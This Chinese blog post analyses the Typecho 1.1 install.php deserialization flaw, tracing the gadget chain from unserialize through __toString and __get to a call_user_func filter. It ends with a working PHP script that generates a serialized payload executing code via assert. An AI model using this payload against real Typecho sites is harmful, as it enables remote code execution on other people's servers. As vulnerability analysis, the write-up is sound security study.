zoukankan      html  css  js  c++  java
  • Typecho反序列化漏洞

    Typecho

    Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行,Typecho 1.1(15.5.12)之前的版本都有受到不同的影响。

    从install.php开始,在229行开始存在unserialize反序列化的地方。

    <?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
    ?>
    

    想要执行到这个反序列化的操作我们必须要满足以下条件:

    1、$_GET['finish'] 参数不为空
    
    2、Referer 必须是本站
    

    分别如下: 其实注释内容已经跟我们说了,具体就不用在分析了。

    // 挡掉可能的跨站请求
    if (!empty($_GET) || !empty($_POST)) {
        if (empty($_SERVER['HTTP_REFERER'])) {
            exit;
        }
    
        $parts = parse_url($_SERVER['HTTP_REFERER']);
        if (!empty($parts['port']) && $parts['port'] != 80) {
            $parts['host'] = "{$parts['host']}:{$parts['port']}";
        }
    
        if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
            exit;
        }
    }
    

    条件二:<?php if (isset($_GET['finish'])) : ?> 在这里要能够接收到finish参数,这样才能进入到我们序列化的地方。

    在最上端的代码当中__typecho_config是我们可控的,他是cookie的键名,230行将cookie中这个键名的值通过base64解码之后反序列化。

    继续两段:

    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    

    因为整个$config的变量我们都能够控制,所以adapter,prefix这两个变量我们也能够控制。

    跟进Typecho_Db()方法:(他在Db.php下)

     public function __construct($adapterName, $prefix = 'typecho_')
        {
            /** 获取适配器名称 */
            $this->_adapterName = $adapterName;
    
            /** 数据库适配器 */
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    
            if (!call_user_func(array($adapterName, 'isAvailable'))) {
                throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
            }
    
            $this->_prefix = $prefix;
    
            /** 初始化内部变量 */
            $this->_pool = array();
            $this->_connectedPool = array();
            $this->_config = array();
    
            //实例化适配器对象
            $this->_adapter = new $adapterName();
        }
    

    $adapterName='Typecho_Db_Adapter'.$adapterName
    $config['adapter']作为第一个参数传入到Typecho_Db()中并且做了字符串拼接,可能上我们是能够调用__toString这个魔术方法的,就是当我们把$adapterName设置为有__tostring魔术方法的类的时候,那么这个tostring方法就被触发了。
    ps:__toString():用于一个类被当成字符串时应怎样回应。。
    接着查看哪些类使用了__toString()方法:

    Config.php
    
    Feed.php
    
    Db/Query.php
    

    我们想要能够产生输出传递给我们,Feed.php存在,可利用的点:

    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

    __get()这个方法在读取不可访问的数据时触发,如果$item['author']有不能访问的属性,那么就会被触发,因为实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中只要设置为那个类中没有的属性,随便吧编一个就会执行该类的__get()方法 ,目前到此处,我们是在__tostring这个板块下的,而此时我们是在Feed.php下的Typecho_Feed类当中。
    我们找到了get魔术方法,他是在request.php当中的,Typecho_Request

    public function __get($key)
    {
        return $this->get($key);
    }
    

    继续跟进,因为他是调用了get这个函数在这个魔术方法当中:

    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
    
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }
    

    再次跟进:

    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }
    
            $this->_filter = array();
        }
    
        return $value;
    }
    

    可以看见array_map()和call_user_func()两个回调函数,这说明了_params[$key]的值传入_applyFilter()方法,代码此时是可执行的,能偶产生输出了。

    生成脚本,这是网上找的:

    <?php
    class Typecho_Feed
    {
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "
    ";
        private $_type;
        private $_items;
    
        public function __construct(){
            $this->_type = $this::RSS2;
            $this->_items[0] = array(
                'title' => '1',
                'link' => '1',
                'date' => 1508895132,
                'category' => array(new Typecho_Request()),
                'author' => new Typecho_Request(),
            );
        }
    }
    
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();
    
        public function __construct(){
            $this->_params['screenName'] = 'phpinfo()';
            $this->_filter[0] = 'assert';
        }
    }
    
    $exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix' => 'typecho_'
    );
    
    echo base64_encode(serialize($exp));
    

    因为Typecho_Cookie的get方法获取__typecho_config可以是cookie方式,也可以使post方式,所以我们的payload直接为post发送也可以。

    参考链接:https://www.freebuf.com/vuls/152058.html

    魔术方法不一定有用,但没有魔术方法一定没用,我们唯一的突破点就在于魔术方法,看看程序员是怎么编写这段魔术代码的,然后找寻突破点,删除install是个好习惯哦。

    哦。

  • 相关阅读:
    Java 中的JOption函数
    01背包与完全背包(对比)
    AC注定不平坦(大神回忆录)
    背包精讲之——01背包
    动规问题概述(待整理)
    背包九讲
    Tautology(递推)||(栈(stack))(待整理)
    深度优先和广度优先区别
    Linux下JDK、Tomcat的安装及配置
    同IP不同端口Session冲突问题
  • 原文地址:https://www.cnblogs.com/ophxc/p/12991429.html
Copyright © 2011-2022 走看看